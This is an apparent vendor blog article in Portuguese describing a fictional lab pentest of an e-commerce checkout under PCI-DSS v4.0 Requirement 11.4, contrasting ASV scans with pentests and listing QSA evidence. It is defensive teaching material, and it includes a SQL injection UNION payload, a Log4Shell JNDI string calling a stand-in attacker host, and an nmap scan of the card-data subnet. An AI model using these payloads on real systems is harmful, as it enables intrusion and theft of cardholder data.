Pentest PCI-DSS v4.0: Requisito 11.4, ASV Scan e a evidência que o QSA exige

Categoria: Conformidade PCI-DSS v4.0 | Pentest | E-commerce Nível: Intermediário Ambiente: Laboratório controlado — cenário totalmente anonimizado, sem dados reais de clientes

---

Introdução

O PCI-DSS (Payment Card Industry Data Security Standard) é, na prática, o passaporte para qualquer empresa processar cartões de crédito e débito no Brasil — e no mundo. Bancos adquirentes, subadquirentes e orquestradores de pagamento exigem evidência de conformidade, e quem não apresenta corre o risco de perder o direito de processar pagamentos.

A versão v4.0 do padrão entrou em vigor em 31 de março de 2024 (quando a v3.2.1 foi aposentada), e os requisitos novos — os chamados future-dated — tornaram-se obrigatórios em 31 de março de 2025. Quem ainda opera com base no padrão antigo está fora do prazo há mais de um ano.

Dentro dos 12 requisitos do PCI-DSS, um é diretamente responsabilidade de quem faz testes de segurança: o Requisito 11, que exige testes periódicos de segurança de sistemas e redes. E dentro dele, o 11.4 — testes de invasão (pentest) — é o ponto que mais gera dúvida em e-commerces brasileiros:

• O ASV scan trimestral (Req. 11.3.2) basta?
• O que exatamente o pentest do Requisito 11.4 PCI precisa cobrir?
• O que o QSA (Qualified Security Assessor) aceita como evidência?

Este artigo documenta um cenário de laboratório que responde a essas três perguntas: um e-commerce fictício que passou no ASV por quatro trimestres seguidos e, mesmo assim, reprovou na auditoria — porque ninguém tinha testado a aplicação como um atacante faz.

---

O Cenário

Imagine um e-commerce de eletrônicos de médio porte — vamos chamá-lo de "VendaJá" (nome fictício). A loja processa cartões no checkout próprio (sem redirecionar para um gateway terceiro), o que coloca o checkout, a API de pedidos e o banco de dados dentro do CDE — o Cardholder Data Environment, o ambiente que guarda dados de cartão.

Segundo a documentação interna:

"Nosso ambiente de dados de cartão é isolado e monitorado. Realizamos varredura ASV trimestral e mantemos conformidade PCI desde 2022."

O ASV scan, de fato, voltava limpo trimestre após trimestre. Mas o QSA, na auditoria de revalidação, pediu algo que a varredura não entrega: o relatório de pentest anual do CDE (Req. 11.4.3/11.4.2) e o teste dos controles de segregação (Req. 11.4.5). A empresa nunca tinha feito um pentest — "o scan já cobre isso", dizia o diretor de TI.

Stack tecnológica observada durante o recon:

• Loja e painel administrativo: aplicação web em PHP sobre nginx
• API de pedidos: serviço REST (Node.js) consumida pelo checkout
• Processamento de pagamentos: serviço Java (Spring Boot) acionado pelo checkout — onde roda o Apache Log4j 2
• Banco de dados: PostgreSQL (pedidos, clientes e dados de cartão)
• WAF: presente apenas no domínio principal da loja
• Monitoramento: agentes de log básicos, IDS/IPS não encontrado

O primeiro sinal de alerta: a política interna de segurança de dados de cartão existia em PDF — mas o acesso ao painel administrativo, à API e ao banco não seguia nenhum controle técnico correspondente. Era conformidade de papel.

---

O que o PCI-DSS v4.0 realmente exige

Antes de mostrar as descobertas, o mapa dos requisitos relevantes (alinhado ao mapeamento de conformidade da oferta Intrus Conformidade):

O ponto central para e-commerces: ASV scan e pentest são obrigações diferentes, com escopos diferentes. O ASV é uma varredura automatizada e externa, focada em infraestrutura — portas, serviços e CVEs conhecidas. O pentest do Req. 11.4 é um teste manual e metodológico, que cobre lógica de aplicação, autenticação, autorização, WAF bypass e segregação de rede. O QSA precisa dos dois.

---

Fase de Reconhecimento

O trabalho começou mapeando a superfície externa do VendaJá. O escopo declarado: o CDE (checkout, API de pedidos, painel administrativo e rede do banco) e os controles de segregação.

www.vendaja.example        → aplicação da loja (domínio público)
checkout.vendaja.example   → checkout / processamento de cartão
api.vendaja.example        → API de pedidos
admin.vendaja.example      → painel administrativo (fora do Google, sem robots)

Duas observações de recon já apontavam caminhos:

1. O WAF só protege www. As requisições a checkout, api e admin iam direto para os IPs de origem — registros DNS históricos revelavam o IP real do servidor atrás do WAF.
2. O painel administrativo responde na internet com página de login própria — nenhuma restrição de rede visível.

O teste de segregação, por sua vez, partiria da rede administrativa (fora do CDE, segundo o diagrama interno): se dali fosse possível alcançar serviços do CDE, o controle de segmentação falhou.

---

Descobertas

Falha 1 — SQL Injection na busca de pedidos: dump do banco do CDE

O painel administrativo tinha uma busca de pedidos por número. O parâmetro era interpolado diretamente na query:

-- Pseudocódigo vulnerável — interpolação direta do parâmetro
SELECT * FROM pedidos WHERE numero_pedido = '$busca'

Um payload simples confirmou a injeção e revelou colunas do banco:

GET /admin/pedidos?busca=1' UNION SELECT column_name,1,1,1 FROM information_schema.columns WHERE table_name='pedidos'-- HTTP/1.1
Host: admin.vendaja.example
Cookie: session=...

Resposta: HTTP 200 com os nomes das colunas — incluindo pan, validade, nome_titular e cvv. O pior achado: o banco armazenava o número completo do cartão em claro, e também o CVV — algo que o PCI-DSS proíbe expressamente (Req. 3.3.1: o CVV — sensitive authentication data — não pode ser armazenado após a autorização; Req. 3.5.1: o PAN deve ficar ilegível onde estiver armazenado).

Com um segundo payload (UNION sobre a tabela de pedidos), o teste demonstrou a leitura de registros reais em laboratório:

numero_pedido | pan            | validade | nome_titular
VL-2026-04821 | 4539**********| 09/28    | Cliente Teste (dados fictícios)

A correção é padrão e mandatória: prepared statements / parameterized queries em todas as consultas, sem exceção:

// Pseudocódigo corrigido — prepared statement
$stmt = $pdo->prepare("SELECT * FROM pedidos WHERE numero_pedido = ?");
$stmt->execute([$busca]);

E, no banco: tokenização ou criptografia forte do PAN (aplicando Req. 3.5.1), eliminação imediata do CVV armazenado e mascaramento em qualquer tela (Req. 3.4.1).

Falha 2 — Painel administrativo com credencial padrão: chave-mestra do CDE

A página de login do painel aceitou as credenciais padrão do sistema (admin / senha padrão de fábrica, listada no manual do produto). Sem MFA, sem bloqueio por tentativas, sem restrição de IP. Em MITRE ATT&CK, isso é T1078.001 (Default Accounts).

Com o acesso de administrador, o teste demonstrou (em ambiente de laboratório, com dados fictícios):

• Listagem de todos os pedidos, incluindo PAN e CVV em claro;
• Criação de um usuário administrativo adicional (persistência);
• Desativação do log de auditoria da aplicação.

O PCI-DSS exige, na Req. 2.2.2, a remoção/desativação de contas e senhas padrão (vendor defaults) — e, na Req. 8.4.2, MFA para todo acesso ao CDE, inclusive do pessoal administrativo. As correções:

1. Troca imediata de todas as credenciais padrão e revisão de contas órfãs;
2. MFA obrigatório (TOTP/hardware) para todo acesso ao painel;
3. Restrição de origem (VPN/rede administrativa + allowlist de IP) para o painel;
4. Política de bloqueio após tentativas inválidas e auditoria de login.

Falha 3 — WAF ausente nas aplicações do CDE e bypass via IP de origem

O WAF existia, mas só na frente de www. O ASV scan, trimestre após trimestre, escaneava exatamente esse IP — o do WAF — e voltava "limpo". As aplicações do CDE (checkout, api, admin) respondiam direto no IP de origem, sem nenhuma proteção de camada 7.

Na prática, o teste confirmou:

• Requisições diretas ao IP de origem com Host: admin.vendaja.example funcionavam normalmente (WAF bypass);
• Payloads de ataque clássicos (XSS, SQLi, path traversal) chegavam intactos à aplicação — não havia filtro nenhum;
• O painel e a API não tinham virtual patching nem rate limiting.

A Req. 6.4.1 (aplicações web públicas protegidas contra ataques conhecidos — WAF ou revisão manual/automática) já era exigida na v4.0 desde a publicação; a Req. 6.4.2 (solução automatizada de detecção/prevenção de ataques web — o WAF) era future-dated — e tornou-se obrigatória em 31/03/2025. Correção:

• WAF gerenciado na frente de todas as aplicações públicas, com regras customizadas (virtual patching) para as falhas conhecidas;
• Bloqueio de acesso direto ao IP de origem (o WAF deve ser o único caminho);
• Rate limiting e alertas de eventos de segurança no WAF.

Falha 4 — Segregação do CDE quebrada: banco acessível da rede administrativa

O teste de segregação (Req. 11.4.5) partiu de uma estação na rede administrativa — nominalmente fora do CDE — e tentou alcançar serviços do CDE:

nmap -sT -Pn -p 5432,443,22 10.20.0.0/24   # rede do CDE, a partir da rede administrativa

Resposta: porta 5432 (PostgreSQL) aberta no servidor de banco do CDE, alcançável a partir da rede administrativa sem nenhum controle no caminho. A regra de firewall que deveria separar os segmentos estava desativada havia meses — ninguém percebeu, porque ninguém testava.

Isso significa que um malware ou um atacante com acesso a qualquer máquina administrativa (phishing, pendrive, VPN roubada) alcançaria o banco de dados de cartões sem atravessar controle nenhum. O PCI-DSS exige que o CDE seja isolado por controles de segregação efetivos — e o teste de segregação é justamente o que prova que eles funcionam.

Correções:

• Reativação e revisão das regras de firewall entre segmentos (deny por padrão, allow por exceção);
• Microssegmentação: banco do CDE acessível apenas por hosts de aplicação específicos e porta específica;
• Monitoramento de tentativas de conexão entre segmentos (alimenta a Req. 11.5);
• Reteste anual da segregação (Req. 11.4.5), como manda o Req. 11.4 — semestral apenas para service providers (11.4.6).

Falha 5 — Componente desatualizado com CVE conhecida: RCE demonstrado

A varredura interna de versões encontrou, no serviço Java de processamento, a biblioteca de logging Apache Log4j 2 com Log4Shell (CVE-2021-44228) — uma vulnerabilidade de execução remota de código (RCE) conhecida desde dezembro de 2021. O ASV externo não a detectou porque a varredura era escopada ao IP do WAF (www) — as aplicações do CDE ficavam fora do escopo declarado do scan; o teste interno de aplicação a encontrou em minutos.

Em laboratório, a exploração demonstrou execução de comando no servidor de aplicação — que, lembrando da Falha 4, estava no mesmo segmento do banco do CDE:

${jndi:ldap://atacante.example/exploit}

Em MITRE ATT&CK: T1190 (Exploit Public-Facing Application). O PCI-DSS responde na Req. 6.3.3: patches de segurança — críticas em até 1 mês da liberação; demais conforme o targeted risk analysis. A correção vai além do patch:

• Atualização imediata da biblioteca vulnerável;
• Inventário de componentes (SBOM) de todas as aplicações do CDE, para que nenhuma dependência desatualizada passe despercebida;
• Alimentação do processo contínuo da Req. 6.3.1 (scanning mensal + triagem + SLA).

---

A Cadeia Completa

Nenhuma das cinco falhas, isolada, derruba um e-commerce. Juntas, formam o caminho que um atacante real percorreria:

1. Falha 3 abre a porta — sem WAF na frente de admin/api/checkout e com o IP de origem exposto, o atacante ataca a aplicação diretamente;
2. Falha 2 entrega a chave — credencial padrão no painel = acesso administrativo ao CDE (T1078.001);
3. Falha 1 esvazia o cofre — com acesso ao painel, a SQL Injection vira dump do banco: PAN, validade e até CVV em claro (violação direta das Reqs. 3.3.1 e 3.5.1);
4. Falha 4 remove as paredes — a segregação quebrada permite que qualquer acesso à rede administrativa alcance o banco do CDE;
5. Falha 5 automatiza o resto — Log4Shell (T1190) entrega RCE no servidor de aplicação, no mesmo segmento do banco.

O resultado: ~180 mil números de cartão de clientes, incluindo CVV, acessíveis sem barreira real — e uma auditoria PCI que reprovaria nas Reqs. 3, 6, 8 e 11 simultaneamente.

Esse encadeamento é a diferença fundamental entre varredura e pentest: a ferramenta valida controles isolados; o pentester modela o caminho do atacante fim a fim.

---

Por Que o ASV Scan Trimestral Não Encontrou Nada?

O ASV do VendaJá voltou limpo por quatro trimestres. Não foi incompetência do scanner — foi escopo:

• Escaneia a infraestrutura, não a aplicação. O ASV testa portas, serviços e CVEs conhecidas no IP declarado. Ele não executa lógica de negócio, não testa autenticação, não tenta SQL Injection em parâmetros da aplicação;
• Escaneia o IP errado. Com o WAF na frente de www, o scan validava o WAF — enquanto as aplicações do CDE respondiam direto no IP de origem, fora da varredura;
• Não testa segregação. O ASV é externo por definição; o teste da Req. 11.4.5 parte de dentro da rede (e de fora, validando controles);
• Não enxerga lógica e autorização. Credencial padrão no painel, permissões excessivas, ausência de MFA, CVV armazenado: nada disso é "porta aberta" ou "CVE conhecida" — é o que o teste manual encontra;
• Cadência não é cobertura. Quatro varreduras por ano não substituem um teste metodológico anual — são obrigações complementares do mesmo Requisito 11.

A conclusão prática: ASV limpo ≠ ambiente seguro. O ASV responde à pergunta "existem vulnerabilidades conhecidas na minha superfície externa?". O pentest responde a "um atacante consegue chegar aos dados de cartão — e por qual caminho?". O QSA sabe a diferença — e é exatamente isso que a Req. 11.4 verifica.

---

O Que o QSA Aceita Como Evidência

Para um e-commerce em processo de conformidade PCI — o estágio de decisão desta compra —, a pergunta prática é: o que apresentar ao QSA?

1. Escopo do CDE documentado. Diagrama de rede, inventário de sistemas no CDE e lista de fluxos de dados de cartão. Sem isso, nenhum teste é aceito como evidência;
2. Relatório de pentest completo (Req. 11.4.3/11.4.2). Metodologia, escopo, período de teste, classificação de risco (CVSS), achados com evidência (screenshots com data/hora), impacto e plano de remediação;
3. Teste de segregação (Req. 11.4.5). Anual (semestral apenas para service providers), com resultado e evidência dos controles testados;
4. Reteste / validação de remediação. Achados corrigidos e revalidados — o QSA verifica se a remediação aconteceu, não apenas se foi prometida;
5. Matriz de mapeamento achado → requisito. Cada finding ligado ao requisito PCI-DSS correspondente (formato do add-on Intrus Conformidade);
6. Carta de engajamento assinada. Documenta escopo, datas e autorização do teste — usada pelo QSA para validar que o teste foi real;
7. Relatórios ASV trimestrais (Req. 11.3.2) com evidência de resolução das falhas apontadas;
8. Alinhamento de janela. O pentest anual precisa cobrir o mesmo período do assessment do QSA — teste feito em dezembro não cobre auditoria de março.

---

Análise de Impacto

Em um ambiente real, as cinco falhas teriam o seguinte impacto:

Além do PCI em si: dados de cartão são dados pessoais — a LGPD exige medidas técnicas adequadas ao risco (Art. 46), comunicação de incidentes à ANPD e aos titulares (Art. 48) e prevê sanções de até 2% do faturamento, limitadas a R$ 50 milhões (Art. 52). Sem contar as multas das bandeiras por não conformidade (na faixa de USD 5.000–100.000/mês) e o risco comercial de o adquirente suspender o processamento de cartões.

---

Causa Raiz

As cinco falhas compartilham uma causa raiz: o VendaJá tratava PCI-DSS como projeto de preenchimento, não como processo contínuo — e ninguém testava o caminho do atacante.

Em detalhe:

1. Conformidade de papel — política de segurança de cartões existia em PDF; os controles técnicos correspondentes, não;
2. ASV limpo = "estamos seguros" — a varredura obrigatória virou substituta de teste, quando é complemento;
3. Sem programa de gestão de vulnerabilidades — Req. 6.3.1 exigia processo contínuo; havia scans esporádicos e sem triagem;
4. Sem inventário — nenhum SBOM, nenhuma lista de componentes; a biblioteca com Log4Shell passou anos sem ninguém notar;
5. Segregação presumida, nunca testada — o firewall "separava" o CDE no diagrama; ninguém validava as regras.

Nenhuma das falhas é exótica. Todas aparecem em e-commerces que contrataram o ASV, compraram o certificado de conformidade autodeclarado — e nunca fizeram um pentest no CDE.

---

Remediação Recomendada

1. Programa contínuo de gestão de vulnerabilidades (Req. 6.3.1)

Scanning mensal (interno e externo) com triagem e SLA por severidade, alimentado por inventário de ativos e SBOM. Vulnerabilidade crítica tratada em dias, não em trimestres.

2. Patches com SLA (Req. 6.3.3)

Processo de patch: críticas em até 30 dias da liberação; demais conforme o targeted risk analysis (12.3.1). Inventário de componentes (SBOM) em todas as aplicações do CDE.

3. WAF em todas as aplicações públicas (Req. 6.4.1/6.4.2)

WAF gerenciado na frente de loja, checkout, API e painel, com virtual patching e detecção automática de ataques de aplicação. IP de origem inacessível diretamente.

4. Ciclo de testes completo (Reqs. 11.3/11.4)

• Trimestral: ASV scan externo (11.3.2);
• Anual: pentest externo (11.4.3) + pentest interno (11.4.2) do CDE, após mudanças significativas;
• Anual: teste de segregação (11.4.5; semestral apenas p/ service providers — 11.4.6);
• Reteste de todos os achados corrigidos, com evidência.

5. MFA e credenciais (Reqs. 2.2.2/8.4.2)

Eliminação de contas e senhas padrão, MFA em todo acesso ao CDE, restrição de origem para painéis administrativos e política de bloqueio de tentativas.

6. IDS/IPS com resposta (Req. 11.5)

Detecção de intrusão na rede do CDE com alertas operacionais — alimentada pelo monitoramento de conexões entre segmentos.

7. Evidência organizada para o QSA (Reqs. 12.3.1/12.3.2)

Escopo do CDE documentado, matriz de mapeamento achado → requisito, relatórios com reteste e carta de engajamento — além do targeted risk analysis documentado (12.3.1) e, quando aplicável, para customized approach (12.3.2). É isso que transforma teste em conformidade auditável.

---

Conclusão

O VendaJá descobriu da pior forma o que a Req. 11.4 tenta evitar: conformidade PCI não é um selo, é evidência de processo contínuo — e o QSA quer teste, não promessa.

O ASV trimestral passou quatro vezes. O pentest anual encontrou um caminho direto a 180 mil números de cartão em uma semana de trabalho: uma credencial padrão, uma SQL Injection, um WAF que só protegia o domínio errado, um firewall que separava dois segmentos só no diagrama e uma biblioteca de 2021 rodando em produção.

A diferença entre "conformidade de papel" e conformidade de verdade não é mais cara — é mais honesta: testar o caminho do atacante, todo ano, com evidência, e consertar o que o teste encontrar. É exatamente isso que o Requisito 11.4 PCI exige de todo e-commerce que processa cartões — e é o que separa uma auditoria tranquila de uma reprovação com prazo para remediar.

---

Este artigo descreve um cenário de laboratório totalmente fictício, construído para fins educacionais. Nenhum dado real de cliente foi utilizado. A exploração de vulnerabilidades em sistemas sem autorização explícita é ilegal.

Quer saber se o seu CDE passa em um pentest nos moldes do Requisito 11.4 PCI-DSS v4.0? O serviço da intrus.io combina pentest anual (web, API e rede) com o add-on Intrus Conformidade — relatório formatado para submissão ao QSA, com matriz de mapeamento por requisito. Estamos à disposição.

---

Tags: pci-dss, pci-dss-v4, pentest, asv, qsa, cde, e-commerce, requisito-11-4, seguranca-de-cartao, waf, sql-injection, lgpd, conformidade